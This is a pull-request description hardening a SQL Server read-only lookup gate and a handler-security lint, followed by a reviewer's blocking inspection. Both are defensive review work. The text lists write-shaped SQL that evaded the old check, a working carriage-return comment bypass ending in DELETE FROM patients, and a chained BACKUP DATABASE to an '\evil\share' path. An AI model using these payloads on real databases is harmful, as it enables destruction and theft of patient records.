fix(db-lookup): refuse write-shaped statements and see a composed statement in the lint (BACKLOG #1574, #1658)

[wshallwshall]

Closes the statement-shape and lint limbs of BACKLOG #1574 and BACKLOG #1658. They are one edit described twice, which is why they are one PR: the rewrite that refuses a write keyword outside literals and comments closes #1574's SELECT INTO and CTE-terminal-write limbs and #1658's no-semicolon-chain limb in the same change.

Filed together at source: #1658 says "this item and #1574 close together; neither is complete without the other."

What was wrong, measured before the fix

_require_read_only read stripped[:6].upper() for SELECT/WITH and then scanned only for a chained ;. Driven directly, the shipped predicate ADMITTED all of these:

SELECT * INTO staging_copy FROM patients
WITH doomed AS (...) DELETE FROM patients ...
WITH c AS (...) UPDATE patients SET mrn='X' FROM c
WITH c AS (...) INSERT INTO audit SELECT x FROM c
SELECT 1 UPDATE patients SET mrn='X'            (no semicolon)
SELECT mrn FROM p WHERE id=1 DELETE FROM p      (no semicolon)
SELECT 1 MERGE t USING s ... THEN DELETE
SELECT 1 EXEC sp_who
-- a comment preamble, then SELECT ... INTO

_unsafe_lookup_hit handed only the call's own expression to _is_dynamic_string, so an ast.Name fell through to False. Thirteen one-handler modules: six composition shapes flagged, six missed.

What this PR does

1. The statement gate (messagefoundry/transports/database.py, 201866d65). The statement is tokenized first, so comments, string literals and quoted identifiers (' ', " ", [ ], ` `) are skipped, and then any write or authority keyword outside them is refused. The head check is a whole word now, so SELECTX and WITHOUT no longer pass as SELECT and WITH. An unterminated literal or comment is refused rather than guessed at.

Two shapes stay admitted on purpose: a keyword inside a literal or a quoted identifier is data, and MySQL's scalar INSERT() / TRUNCATE() are calls, not statements. EXEC and EXECUTE get no such tolerance, because T-SQL EXEC('...') is the dynamic-SQL shape this gate exists to refuse.

The shipped benign-CTE contract stays green. WITH cte AS (SELECT 1 AS c) SELECT * FROM cte still passes, and so does a trailing ;.

2. The lint (messagefoundry/checks.py, 69419b1f4). _is_dynamic_string now takes the enclosing scope's assignments and follows a Name through every value bound to it, treats an AugAssign with a non-literal right side as dynamic, reads through a wrapping call by its arguments and its receiver, and descends into a conditional expression and into list/tuple/set and comprehension elements. A name bound through itself terminates the walk.

Two deliberate choices, both recorded in the docstrings:

• Every binding of a name is read, not the last one. A statement interpolated in one branch of an if has no meaningful last binding in source order, and this rule is a filter, not a boundary (ADR 0144), so it over-reports rather than miss the branch that interpolates. That is a wider reading than #1658's suggested single-assignment walk.
• A wrapper is followed by its arguments rather than by a list of blessed wrapper names, because such a list is always missing one.

A call in a signature (a decorator or a default argument) has no scope entry and is read exactly as before, from its own expression, so no coverage is lost.

3. Docstring corrections (a5baa2ed2) and 4. the operator recommendation (932532e1b) — see the next two sections.

What is NOT closed, and needs the owner

#1574's core ask is read-only AUTHORITY at the database boundary, and this PR does not deliver it. The row asks to "enforce read-only authority at the database boundary -- a read-only connection or transaction per dialect" and to "confirm the account itself cannot write", with acceptance on live backends with disposable fixtures. Its own Verification-limits paragraph concedes no live database ran. That still holds here: nothing in this PR was driven against a real SQL Server.

Two findings that bound what a code change could even do:

• The read-only-transaction half is partly unsatisfiable in code, not merely deferred. T-SQL has no SET TRANSACTION READ ONLY, and nothing in the engine issues one. SQL Server's read-only mechanisms are a read-only database or filegroup, a snapshot, or ApplicationIntent against an availability-group replica. Every one of those is operator provisioning, not something the connector can assert. That is now written into the docstrings and into docs/CONNECTIONS.md rather than left as a gap.
• db_lookup is SQL-Server-only, so there is no per-dialect story to write. DatabaseLookupExecutor.__init__ calls _build_dsn(dict(s), read_only=True) directly rather than the _build_connection dialect dispatcher, so the generic ODBC dialect the DATABASE connector accepts is unreachable from a lookup. ADR 0010 says "SQL Server backend only." SQLite and PostgreSQL are store backends and a different question.

So the remaining live option is provisioning a db_datareader-class login, which is an operator act. This PR documents it (docs/CONNECTIONS.md); it cannot enforce it. Leave both rows open.

One separate finding, recorded not fixed

ADR 0010's stated basis for read-only is false against the shipped pool. The ADR says "the executor neither commits nor exposes a write path", and DatabaseLookupExecutor._get_pool opens its pools with autocommit=True. A write that got past the predicate would commit, not roll back. That is the ADR's premise, independent of the predicate fix in this PR and of the authority question above.

It appears to be unfiled. Naming the subject rather than a number, deliberately: a citation to an unallocated number resolves to nothing today and to unrelated work the day someone allocates it.

This PR corrects the docstrings that repeated the overclaim — DatabaseLookupExecutor said "Read-only is enforced (ADR 0010), not merely documented", which CLAUDE.md section 11 (SDS-3.7) forbids as a compensating control resting on a false premise. It does not amend the ADR.

Collision to resolve at merge

docs/CONNECTIONS.md is held by open PR 1178, and rows #1249 and #1624 are also recorded as contending for it. My edit is one new subsection beside the existing db_lookup scope note, in its own commit, last (932532e1b), so it can be read and re-placed in one look. Nothing else in this PR touches that file.

Ledger

docs/BACKLOG.md is untouched. It is a deliberate stub in this repository since 2026-09-13 and the real ledger is vault-only; a builder does not flip banners. The required "a PR that implements BACKLOG #N must update BACKLOG.md" context is expected to pass without the edit, as it did on PRs 1160 and 1161. If it refuses, that is a finding, not something to work around.

Checks

Run in this worktree's own venv, all green:

• ruff format --check . and ruff check . over the whole tree
• mypy messagefoundry (strict) — 275 source files, no issues
• a targeted sweep over every test file that mentions _require_read_only, db_lookup, DatabaseLookup, handler-security, unsafe-db-lookup or CONNECTIONS.md (22 modules, including test_db_lookup, test_checks_handler_security, test_checks, test_database_transport, test_database_connector_integration, test_db_lookup_live_runner, test_semgrep_handler_rules, test_static_credential_db_hops, test_dryrun_trace, test_sandbox, test_wiring_serve) — 1189 passed, 91 skipped
• a docs slice (-k "connections_doc or docs or operator_docs") — 462 passed, 2 skipped

Skipped: the full suite. It was started and was roughly 8 percent in after several minutes, so it could not finish inside the session and was stopped in favour of the targeted sweep above. Nothing in this change reaches the store, a transport listener or the pipeline.

Hosted legs a reviewer must read after this: the full pytest matrix on every platform, and windows-service-smoke (NSSM), which never runs locally.

Open questions

1. Should the gate's keyword set stay at the six the rows name (INSERT/UPDATE/DELETE/MERGE/INTO/EXEC) plus DDL, or is DDL scope creep? I included DROP/CREATE/ALTER/TRUNCATE/GRANT/REVOKE/DENY because leaving SELECT 1 DROP TABLE t admitted after fixing the no-semicolon chain for the other six looked like an obvious residual.
2. The lint now reads every binding of a name rather than the last, which is wider than #1658's text. It is a filter, not a boundary, and the shipped samples stay clean (test_real_samples_config_is_clean passes), but a site running --strict-handler-security could see a new finding on a shape that is in fact safe.
3. Should ADR 0010's "neither commits" sentence be amended in the same family of work, or does that need its own row?

[wshallwshall]

LANDER INSPECTION -- blocking on one byte

Posted under the korus LANDER.md line 364 obligation. I did not author this change.

The tokenizer is a real improvement and closes every evasion it was written against. Leading
whitespace, -- and /* */ preambles, nested block comments, case, WITH ... DELETE,
SELECT ... INTO, no-semicolon chains, SELECT 1 EXEC sp_who, SELECTX/WITHOUT prefix
confusion -- all refused, and the benign contract still admits WITH cte AS (...),
SELECT [delete] FROM t and SELECT INSERT('abc',1,1,'z').

The blocker: a carriage return reopens comment masking

_scan_sql_tokens ends a line comment only at a newline:

nl = statement.find("\n", i)    # database.py:614

Driven against this PR's own predicate, lifted from the PR head:

LF-terminated comment, then DELETE   -> refused      (the shape the new test covers)
CR-terminated comment, then DELETE   -> ADMITTED     <-- bypass
benign SELECT                        -> ADMITTED     (control)
bare chained DELETE                  -> refused      (control)

Payload: SELECT npi FROM provider WHERE mrn = 'x' --<CR>DELETE FROM patients WHERE 1=1

SQL Server's lexer ends a -- comment at CR. This gate does not, so the remainder is swallowed as
comment text and never tokenised.

Why CR rather than any exotic byte: HL7 v2 uses carriage return as its segment terminator. A CR
inside an interpolated field is native to this codebase's primary data format, not a contrived
input. This is a gate on a path whose inputs are HL7 fields.

It is also the same class as the PR's own test
"-- harmless preamble\nSELECT * INTO copy FROM patients" -- which covers \n only.

Fail-closed, except exactly here

_scan_sql_tokens raises on an unterminated block comment and an unterminated quoted literal;
_require_read_only raises on empty tokens. So it is fail-closed on the mis-parses it detects, and
fail-open on the one it does not -- the CR case produces a clean two-token parse and admits.

Second change, cheaper: the docs claim more than the predicate delivers

The vocabulary is fourteen words, not "writes". Admitted as a chained second statement today:

SELECT 1 WRITETEXT pub.pr_info @ptr 'gotcha'
SELECT 1 BACKUP DATABASE clinical TO DISK='\evil\share\c.bak'
SELECT 1 DBCC ... / KILL 53 / SHUTDOWN WITH NOWAIT

docs/CONNECTIONS.md and the new DatabaseLookupExecutor docstring both say the gate refuses "a
statement that ... chains a second statement", unqualified. It refuses a second statement opening
with one of fourteen words. The linked-server OPENQUERY pass-through is disclosed; these are not.

This PR invokes CLAUDE.md section 11 against exactly this shape of overclaim in the docstring it
is deleting. The replacement should not inherit it.

What is clean

• Coverage is complete. One execution path -- db_lookup() to _active to _run_lookup to
  DatabaseLookupExecutor.query to _require_read_only, before params and execute. Sole caller,
  sole guard site.
• No default moves. Refusal-only. A sweep of SQL-shaped fragments across the tracked tree finds
  five newly refused, all SELECT ... FOR UPDATE locking reads in Postgres store code that never
  reach db_lookup -- which is SQL-Server-only.
• Mutation control on the gate is strong: all 18 new cases are admitted by origin/main, and
  the tests also pin pool.cursor_obj.executed is None, so a deleted guard breaks them twice.

To unblock

1. End a line comment at \r as well as \n, and add the CR payload to
   test_write_shaped_select_and_cte_rejected.
2. Reword the absolute claim in docs/CONNECTIONS.md and the docstring, or widen the vocabulary.

Verdict: block.